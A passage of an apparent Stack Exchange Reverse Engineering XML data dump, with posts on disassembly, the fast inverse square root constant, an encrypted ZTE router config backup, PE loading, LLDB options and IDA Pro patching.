1.dll&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function fcn.000050b0 () {&#xA;    loc_0x50b0:    &#xA;    push ecx&#xA;    push ebx&#xA;    push ebp&#xA;    push esi&#xA;    esi = dword [esp + 0x14]&#xA;    push edi&#xA;    eax = [esp + 0x1c]&#xA;    push 4&#xA;    eax += 4&#xA;    push esi&#xA;    ebx = 0&#xA;    dword [esp + 0x18] = eax&#xA;    0xa97a ()&#xA;    if (eax == eax&#xA;    notZero 0x5106) {&#xA;        loc_0x5106:    &#xA;        eax = dword [ebx]&#xA;        pop edi&#xA;        pop esi&#xA;        pop ebp&#xA;        dword [esp + 4] = 0&#xA;        pop ebx&#xA;        pop ecx&#xA;&#xA;        loc_0x50d2:    &#xA;        ebp = dword [esp + 0x1c]&#xA;        esi = dword [esi]&#xA;        edi = 0&#xA;        if (ebp == ebp&#xA;        isLessOrEqual 0x5106)&#xA;      }&#xA;      return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-12-24T14:08:43.567" LastActivityDate="2015-12-24T14:08:43.567" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11623" PostTypeId="2" ParentId="11617" CreationDate="2015-12-24T14:43:54.767" Score="3" Body="&lt;p&gt;You need to select &lt;code&gt;Portable executable for 80386 (PE)&lt;/code&gt; from the list of loaders in IDA instead of confirming the default (&lt;code&gt;Microsoft.NET assembly&lt;/code&gt;).&#xA;&lt;a href=&quot;https://i.stack.imgur.com/N5Orj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/N5Orj.png&quot; alt=&quot;IDA loader screen&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2015-12-24T14:43:54.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11624" PostTypeId="2" ParentId="11593" CreationDate="2015-12-24T15:12:51.543" Score="0" Body="&lt;p&gt;SLODWORD(a1) returns the hex representation of a input read the &lt;code&gt;wiki-link&lt;/code&gt; by ratchet freak and take a look at the poc below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;long dodance(float number){&#xA;  float y  = number;&#xA;    long i  = * ( long * ) &amp;amp;y;&#xA;  return i;&#xA;}&#xA;void main (void) {  &#xA;  long a = dodance((float)3.2865);&#xA;  printf(&quot;%08X\n%f\n&quot;,a,*(float *)&amp;amp;a);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compile without optimization the above code using say &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cl /Zi /EHsc /nologo /W4 /analyze *.cpp /link /RELEASE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and execute the resulting binary&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;magicnum.exe&#xA;40525604&#xA;3.286500&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compiling the enhanced code below you can see the maximum precision attainable by the 32 bit float is exhausted when the third term is evaluated in the series&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;long dodance(float number)&#xA;{&#xA;  float y  = number;&#xA;    long i  = * ( long * ) &amp;amp;y;&#xA;  return i;&#xA;}&#xA;int main (int argc , char *argv[]) &#xA;{&#xA;  if(argc != 3){printf (&quot;usage %s &amp;lt;float&amp;gt; &amp;lt;int&amp;gt;\n&quot;,argv[0]);return 0;}&#xA;  float input = (float) atof(argv[1]);&#xA;  int term = atoi(argv[2]);&#xA;  long a = dodance(input);&#xA;  printf(&quot;%-10s= %08X\n%-10s= %f\n&quot;,&quot;hex&quot;,a,&quot;float&quot;,*(float *)&amp;amp;a);&#xA;  long b = (0x5f3759df - (a &amp;gt;&amp;gt; 1));&#xA;  float c = *(float *)&amp;amp;b ;&#xA;  printf(&quot;%-10s= %08X\n%-10s= %f\n&quot;,&quot;hex&quot;,b,&quot;~1stfloat&quot;,c);&#xA;  for(int i=0; i&amp;lt; term;i++) &#xA;  {&#xA;    c = (float)(c * ( 1.5 - ( (input * 0.5) * c * c )) );&#xA;    printf(&quot;%-10s= %f\n&quot;,&quot;~nxtfloat&quot;,c);&#xA;  }&#xA;  return 1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;magicnum.exe&#xA;usage magicnum.exe &amp;lt;float&amp;gt; &amp;lt;int&amp;gt;&#xA;&#xA;magicnum.exe 3.2 1&#xA;hex       = 404CCCCD&#xA;float     = 3.200000&#xA;hex       = 3F10F379&#xA;~1stfloat = 0.566215&#xA;~nxtfloat = 0.558877&#xA;&#xA;magicnum.exe 3.2 2&#xA;hex       = 404CCCCD&#xA;float     = 3.200000&#xA;hex       = 3F10F379&#xA;~1stfloat = 0.566215&#xA;~nxtfloat = 0.558877&#xA;~nxtfloat = 0.559017&#xA;&#xA;magicnum.exe 3.2 3&#xA;hex       = 404CCCCD&#xA;float     = 3.200000&#xA;hex       = 3F10F379&#xA;~1stfloat = 0.566215&#xA;~nxtfloat = 0.558877&#xA;~nxtfloat = 0.559017&#xA;~nxtfloat = 0.559017 &amp;lt;-- no improvement over the previous result&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;some theory&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Newtons method is a proof and extension of binomial expansion theoram &#xA;for fractions and negative numbers &#xA;simplified binomial exapnsion for (1+x)^n = 1 + (n*x) + ((n*(n-1)/2)*x^2) + .......&#xA;we can derive an approximation of the  squareroot&#xA;sqrt(3.2)   = (4 - 0.8)^ 1/2  &#xA;        = 2 * ( 1 - 1/5) ^ 1/2&#xA;        = 2 * ( 1 + 1/2*(-1/5)  + (-1/8) * (1/25) + .....)&#xA;        = 2 * ( 1 - 1/10 - 1/200)&#xA;        = 2 * ( 200/200 - 20/200 - 1/200)&#xA;        = 2 * (179/200)&#xA;        = 2 * (0.895)&#xA;                = 1.79&#xA;1 / sqrt(3.2)   = 1 / 1.79&#xA;        = 0.55865921787709497206703910614525&#xA;using calc.exe &#xA;3.2^-0.5    = 0.55901699437494742410229341718282 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-12-24T18:01:48.873" LastActivityDate="2015-12-24T18:01:48.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11626" PostTypeId="1" CreationDate="2015-12-24T16:19:59.533" Score="11" ViewCount="23873" Body="&lt;p&gt;I was poking around in ZTE Speedport Entry 2i (CPE used mostly in Germany, Slovakia etc, probably custom made for Deutsche Telekom). It's possible to download backup of config from UI. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found out it's different from other ZTE config backups. Usually it's zlib compressed XML. I suspect this one has a layer of some pseudo-encryption on it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;00000000  99 99 99 99 44 44 44 44  55 55 55 55 aa aa aa aa  |....DDDDUUUU....|&#xA;00000010  00 00 00 00 00 00 00 00  00 00 00 04 00 00 00 00  |................|&#xA;00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 40  |...............@|&#xA;00000040  00 02 00 00 00 00 00 80  00 00 57 c6 00 00 00 00  |..........W.....|&#xA;00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;00000080  04 03 02 01 00 00 00 00  00 00 00 12 53 70 65 65  |............Spee|&#xA;00000090  64 70 6f 72 74 20 45 6e  74 72 79 20 32 69 01 02  |dport Entry 2i..|&#xA;000000a0  03 04 00 00 00 02 00 00  00 00 00 00 57 a8 00 01  |............W...|&#xA;000000b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;000000d0  00 00 00 00 00 00 00 00  00 00 00 00 57 60 00 00  |............W`..|&#xA;000000e0  57 60 00 00 00 00 be d3  f7 b3 fe 9e 99 a4 35 75  |W`............5u|&#xA;000000f0  ce db 7f c2 99 17 43 7f  1e e2 54 7a 63 72 6f c8  |......C...Tzcro.|&#xA;00000100  b7 2d cc e8 cb 32 6c 3a  f0 fd 55 19 10 ac ea d5  |.-...2l:..U.....|&#xA;00000110  e9 18 01 01 71 7c 20 68  ca 66 d0 d9 f9 12 03 3d  |....q| h.f.....=|&#xA;00000120  ee bd ad 2a 00 e2 c1 96  73 12 bd 5a 94 3e 6d 1a  |...*....s..Z.&gt;m.|&#xA;00000130  a8 7f c8 a8 8b 3d b6 1e  d8 ae 9b 43 63 6a e3 ea  |.....=.....Ccj..|&#xA;00000140  94 33 55 57 dc 81 b2 22  c5 e7 39 fd 75 b9 ba 5b  |.3UW...&quot;..9.u..[|&#xA;00000150  00 ca a1 29 9b e2 9f bd  8e 1f 00 98 30 62 8b d7  |...)........0b..|&#xA;00000160  c6 12 ae ef 27 55 30 2a  4c f8 de 7c e5 2a 33 b9  |....'U0*L..|.*3.|&#xA;00000170  8b 32 4a d2 2c da 2a 18  ff 72 cf 1c 42 d8 41 6b  |.2J.,.*..r..B.Ak|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other examples of this config can be found here: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3593/re-compressed-backup-file-router-linux-based-so-is-it-compresed-with-zlib&quot;&gt;RE Compressed backup file,router linux based so is it compresed with zlib?&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to figure out how to extract content of this config? Is there a way how to detect if some sort of simple XOR encryption is in place?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was unable to obtain firmware of the device, it's CPE so it's pretty locked down. The device itself looks to be using stripped down version similar to ZTE E5502 (same lua based web UI) &lt;a href=&quot;http://enterprise.zte.com.cn/en/products/network_lnfrastructure/cpe/home/201312/t20131209_414424_6403.html&quot; rel=&quot;noreferrer&quot; title=&quot;E5502 firmware ZTE page&quot;&gt;E5502 firmware&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download the config here. &lt;a href=&quot;https://www.dropbox.com/s/50lq7pv0uu8b3yp/config.bin?dl=0&quot; rel=&quot;noreferrer&quot;&gt;config.bin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After reading something about difference between compression and entropy, I came to conclusion that the file is probably encrypted and not just obfuscated with something like XOR (because that doesn't change the entropy)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I obtained config file from another ZTE device (one with zlib compression)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk -E -N config_f660.bin&#xA;&#xA;DECIMAL       HEXADECIMAL     ENTROPY&#xA;--------------------------------------------------------------------------------&#xA;1024          0x400           Rising entropy edge (0.973932)&#xA;10240         0x2800          Rising entropy edge (0.958898)&#xA;14336         0x3800          Rising entropy edge (0.966971)&#xA;17408         0x4400          Rising entropy edge (0.968328)&#xA;&#xA;$ binwalk -E -N config_encrypted.bin&#xA;&#xA;DECIMAL       HEXADECIMAL     ENTROPY&#xA;--------------------------------------------------------------------------------&#xA;1024          0x400           Rising entropy edge (0.974513)&#xA;22528         0x5800          Falling entropy edge (0.737589)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as I can interpret this data is that the first rising edge is unencrypted header in both configs. In the compressed config other rising edges should represent compressed zlib blocks. If you actually plot the graph with binwalk you can see that there are still some rising edges in entropy but much smaller the line is almost flat. (Cannot include graphs due to low reputation). I'm now confident that's caused by applying encryption over those compressed zlib blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are my assumptions correct or am I missing something? Is there a method I could try to break or at least guess the encryption type without the firmware image? &lt;/p&gt;&#xA;" OwnerUserId="14507" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2021-01-02T07:25:58.840" Title="ZTE encrypted backup config file" Tags="|linux|encryption|" AnswerCount="3" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="11627" PostTypeId="2" ParentId="11592" CreationDate="2015-12-24T18:02:49.437" Score="2" Body="&lt;p&gt;The difference is that Windows 8 requires all regular structures (exports, imports, TLS, exception handlers, relocations... that is, everything described by Data Directory entries) to be located wholly inside a section.  The only exception is the Bound Import Table, which is stored external to any section, to avoid &quot;polluting&quot; the contents, since the Bound Import Table data are discarded after use.  The Bound Import Table is also meaningless in the presence of ASLR, anyway, since the addresses will almost never match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the absence of any section, you have to find the DLL bases and resolve the imports yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you create a single section to hold your import table, then it will load in both environments.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2015-12-24T18:02:49.437" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11628" PostTypeId="1" AcceptedAnswerId="11945" CreationDate="2015-12-24T19:54:41.233" Score="0" ViewCount="507" Body="&lt;p&gt;I want to make a program that injects a string into the game's developer's console. (Call of Duty: Modern Warfare 2 in this case) How would I approach this? Would I need to find the console's memory address and write memory to that or is that the wrong approach?&lt;/p&gt;&#xA;" OwnerUserId="14511" LastActivityDate="2016-04-04T10:08:06.680" Title="Inject into game developer's console" Tags="|windows|injection|" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11629" PostTypeId="2" ParentId="11593" CreationDate="2015-12-24T19:56:49.200" Score="1" Body="&lt;p&gt;I use this line as reference to understand the hidden macros'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.wekk.net/files/defcon/defs.h&quot; rel=&quot;nofollow&quot;&gt;http://www.wekk.net/files/defcon/defs.h&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;double __cdecl sub_401660(float a1)&#xA;{&#xA;  double v1; // st7@1&#xA;  float v2; // ST00_4@1&#xA;  float v4; // [sp+8h] [bp+4h]@1&#xA;  float v5; // [sp+8h] [bp+4h]@1&#xA;&#xA;  v1 = a1;&#xA;  LODWORD(v2) = 0x5F3759DF - (SLODWORD(a1) &amp;gt;&amp;gt; 1);&#xA;  v4 = 0.5 * a1;&#xA;  v5 = (1.5 - v4 * v2 * v2) * v2;&#xA;  return (float)(v1 * v5);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;could be simplified easier on the eyes like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;double __cdecl sub_401660(float a1)&#xA;{&#xA;  double v1; // st7@1&#xA;  float v2; // ST00_4@1&#xA;  float v4; // [sp+8h] [bp+4h]@1&#xA;  float v5; // [sp+8h] [bp+4h]@1&#xA;&#xA;  v1 = a1;&#xA;  *((_DWORD*)&amp;amp;(v2)) = 0x5F3759DF - (*((long*)&amp;amp;(a1)) &amp;gt;&amp;gt; 1);&#xA;  v4 = 0.5 * a1;&#xA;  v5 = (1.5 - v4 * v2 * v2) * v2;&#xA;  return (float)(v1 * v5);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or how I would do it..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;double __cdecl sub_401660(float a1)&#xA;{&#xA;  double v1; // st7@1&#xA;  float v2; // ST00_4@1&#xA;  float v4; // [sp+8h] [bp+4h]@1&#xA;  float v5; // [sp+8h] [bp+4h]@1&#xA;&#xA;  v1 = a1;&#xA;  *((unsigned int *)&amp;amp;(v2)) = 0x5F3759DF - (*((long*)&amp;amp;(a1)) &amp;gt;&amp;gt; 1);&#xA;  v4 = 0.5 * a1;&#xA;  v5 = (1.5 - v4 * v2 * v2) * v2;&#xA;  return (float)(v1 * v5);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But this is how you do it if you are a hacker. Google.com search &gt; 0x5F3759DF&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find this link &lt;a href=&quot;http://gostash.it/en/stashes/184&quot; rel=&quot;nofollow&quot;&gt;http://gostash.it/en/stashes/184&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;float Q_rsqrt( float number )&#xA;{&#xA;   long i;&#xA;   float x2, y;&#xA;   const float threehalfs = 1.5F;&#xA;&#xA;   x2 = number * 0.5F;&#xA;   y = number;&#xA;   i = * ( long * ) &amp;amp;y; // evil floating point bit level hacking&#xA;   i = 0x5f3759df - ( i &amp;gt;&amp;gt; 1 ); // what the fuck?&#xA;   y = * ( float * ) &amp;amp;i;&#xA;   y = y * ( threehalfs - ( x2 * y * y ) ); // 1st iteration&#xA;   // y = y * ( threehalfs - ( x2 * y * y ) ); // 2nd iteration, this can be removed&#xA;&#xA;   return y;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3510" LastActivityDate="2015-12-24T19:56:49.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11630" PostTypeId="2" ParentId="10586" CreationDate="2015-12-24T23:06:42.090" Score="12" Body="&lt;p&gt;LLDB &gt;= 3.4 has the &lt;code&gt;-o&lt;/code&gt; / &lt;code&gt;--one-line&lt;/code&gt; command line option that can be used to launch your program automatically:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;lldb -o run /bin/true&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference here are two relevant snippets from &lt;code&gt;lldb-3.6 --help&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;   -o &#xA;   --one-line &#xA;        Tells the debugger to execute this one-line lldb command&#xA;        after any file provided on the command line has been loaded.&#xA;...&#xA;  Notes:&#xA;&#xA;       Multiple &quot;-s&quot; and &quot;-o&quot; options can be provided.  They will be&#xA;       processed from left to right in order, with the source files &#xA;       and commands interleaved. &#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And for reviewing command line options in a web browser -- here's a link to the &lt;a href=&quot;https://www.netsoup.net/docs/man/lldb-3.4&quot; rel=&quot;noreferrer&quot;&gt;lldb-3.4 man page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that with LLDB &amp;lt; 3.4 (and also newer versions) you can use the &lt;code&gt;-s&lt;/code&gt; / &lt;code&gt;--source&lt;/code&gt; option to bootstrap commands like &lt;code&gt;run&lt;/code&gt; -- for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ echo run &amp;gt; autorun&#xA;$ lldb -s autorun -- /bin/echo arg1 arg2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14510" LastActivityDate="2015-12-24T23:06:42.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11633" PostTypeId="1" CreationDate="2015-12-25T14:14:17.050" Score="3" ViewCount="97" Body="&lt;p&gt;Is there a way for plugin to understand that function flags were changed (e.g. through function-edit menu, by setting 'library' or 'static' flag)? There is idb_event::func_noret_changed, but seems it doesn't issued. Nevertheless, I can't find any event which issued when other flags change in SDK. Is it impossible?&lt;/p&gt;&#xA;" OwnerUserId="14517" LastEditorUserId="2147" LastEditDate="2018-10-02T20:01:28.700" LastActivityDate="2018-10-02T20:01:28.700" Title="Catch function flags change event in IDA plugin" Tags="|ida|ida-plugin|idapro-sdk|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11634" PostTypeId="2" ParentId="11619" CreationDate="2015-12-25T18:59:27.530" Score="1" Body="&lt;p&gt;There's no need to store them. As I'm guessing your lvar name generation algorithm is not very computationally expensive, you can just regenerate them every time a function is decompiled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This is the approach used by my &lt;a href=&quot;https://www.hex-rays.com/contests/2013/#detox&quot; rel=&quot;nofollow&quot;&gt;CrowdDetox Hex-Rays plugin&lt;/a&gt;.)&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-12-25T18:59:27.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11635" PostTypeId="1" AcceptedAnswerId="11639" CreationDate="2015-12-26T07:44:51.537" Score="1" ViewCount="393" Body="&lt;p&gt;Little knowledge of assembly can be a problem sometimes. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; push       ebp&#xA; lea        eax,[ebp-3C0]&#xA; call       005A0E30&#xA; pop        ecx&#xA; mov        edx,dword ptr [ebp-3C0]&#xA; lea        eax,[ebp-20]&#xA; call       @UStrLAsg&#xA; push       ebp&#xA; lea        eax,[ebp-3C4]&#xA; call       005A1568&#xA; pop        ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just as the above code, I am trying to understand what is happening but I cannot understand the instructions &lt;code&gt;lea&lt;/code&gt; followed by a &lt;code&gt;call&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe if I had an idea of what &lt;code&gt;@UstrLAsg&lt;/code&gt; means I would start to get what is going on there or maybe someone out there can give me a hint.&lt;/p&gt;&#xA;" OwnerUserId="13301" LastEditorUserId="53" LastEditDate="2015-12-26T09:26:26.077" LastActivityDate="2015-12-26T17:13:08.750" Title="what is the meaning of UsrLAsg in assembly?" Tags="|assembly|x86|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11636" PostTypeId="2" ParentId="11635" CreationDate="2015-12-26T09:35:41.870" Score="0" Body="&lt;p&gt;&lt;code&gt;lea&lt;/code&gt; stands for Load Effective Address. It is an instruction designed to fetch a piece of memory and load it into a register in an optimized manner. It may also be used to perform an addition when you see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea eax, [eax+4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is equivalent to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add eax, 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, the &lt;code&gt;call @UstrLAsg&lt;/code&gt; refer to a symbol (&lt;code&gt;@UstrLAsg&lt;/code&gt;), which give a static address in the executable memory. The best way to find out where it does jump in memory would be to execute the program and to look at the symbol while running. It should unveil the static address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helped you a bit.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2015-12-26T09:35:41.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11637" PostTypeId="1" CreationDate="2015-12-26T13:54:32.227" Score="2" ViewCount="1121" Body="&lt;p&gt;I have a simple C program that is literally&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int main(void) {&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When I convert this to assembly, &lt;code&gt;gcc -S&lt;/code&gt;, it grows to around 10 lines. As expected.&lt;/p&gt;&#xA;&lt;p&gt;Then when I convert it into binary, and then from that to VEX IR it grows to * a lot * of instructions. You can see this with &lt;code&gt;valgrind --tool=lackey --trace-mem=yes &amp;lt;FILE&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;My question is two-folded:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Why does the program grow so much when you are looking at the IR even though the Assembly was tiny.&lt;/p&gt;&#xA;&lt;p&gt;I think its because you now have all the overhead calls / instructions that are needed to run the binary and not just your program code. But a more detailed explanation would be helpful&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I isolate the IR that represents instructions in the code I wrote?&lt;/p&gt;&#xA;&lt;p&gt;I'm not sure if this is 100% possible, so if not are there any ways to help me narrow down what I want to look at?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14518" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-08-12T04:20:48.167" Title="How to display only the IR for your program code" Tags="|decompilation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11639" PostTypeId="2" ParentId="11635" CreationDate="2015-12-26T17:13:08.750" Score="2" Body="&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;mov        edx,dword ptr [ebp-3C0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This instruction sets register &lt;code&gt;edx&lt;/code&gt; to the value of the DWORD at memory address (&lt;code&gt;ebp-3C0&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;lea        eax,[ebp-20]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This instruction sets register &lt;code&gt;eax&lt;/code&gt; to the value (&lt;code&gt;ebp-20&lt;/code&gt;); despite the square brackets in the instruction, there is no memory dereferencing involved.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;call       @UStrLAsg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This instruction calls the Delphi library function &lt;code&gt;UStrLAsg()&lt;/code&gt;, which receives its input arguments via &lt;code&gt;eax&lt;/code&gt; and &lt;code&gt;edx&lt;/code&gt;. &lt;a href=&quot;https://stackoverflow.com/questions/12837129/string-const-why-different-implementation-for-local-and-result&quot;&gt;A little Googling&lt;/a&gt; shows that that function is used to assign a local Unicode string to a global variable, where &lt;code&gt;edx&lt;/code&gt; points to the source string and &lt;code&gt;eax&lt;/code&gt; points to the global variable.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-12-26T17:13:08.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11640" PostTypeId="1" AcceptedAnswerId="11641" CreationDate="2015-12-28T00:12:04.703" Score="1" ViewCount="1721" Body="&lt;p&gt;I am new to ASM. Working in IDA Pro 6.8 on a 64-bit executable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not able to modify the jmp address for this instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    ........   &#xA;    .text:0000000141BAFB57 loc_141BAFB57:                          &#xA;    .text:0000000141BAFB57                 lea     rcx, [rbp+520h+var_20]&#xA;    .text:0000000141BAFB5E                 lea     rdx, abc_data&#xA;    .text:0000000141BAFB65                 call    sub_141CCAC80&#xA;    .text:0000000141BAFB6A                 jmp     loc_141BAF9D6&#xA;    .text:0000000141BAFB6A subroutine endp&#xA;    .text:0000000141BAFB6A&#xA;    .text:0000000141BAFB6F&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to either change the jmp address from loc_141BAF9D6 to loc_141BAFA9C or simply nop the instruction...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;every time I attempt this in IDA Pro 6.8 it moves the jmp (or the nop) instruction outside the subroutine endp closing, and therefore IDA gives me now a SP-Analysis failed error... example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0000000141BAFB57 loc_141BAFB57:                          &#xA;.text:0000000141BAFB57                 lea     rcx, [rbp+520h+var_20]&#xA;.text:0000000141BAFB5E                 lea     rdx, abc_data&#xA;.text:0000000141BAFB65                 call    sub_141CCAC80&#xA;.text:0000000141BAFB65 subroutine endp ; sp-analysis failed&#xA;.text:0000000141BAFB65&#xA;.text:0000000141BAFB6A                 jmp     loc_141BAFA9C&#xA;.text:0000000141BAFB6F&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried editing the instruction via Edit &gt; Patch Program Assemble, directly in HEX view, using IDAPatcher, and using Fetanyl plugin... it always moves the instruction outside of the endp statement, breaking the code...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this not possible in general or what am I doing wrong ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried OllyDbg but it does not open 64-bit files...&lt;/p&gt;&#xA;" OwnerUserId="14530" LastEditorUserId="14530" LastEditDate="2015-12-28T00:20:43.473" LastActivityDate="2015-12-28T05:27:46.570" Title="IDA Pro - Error When Modifying JMP Instruction" Tags="|ida|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
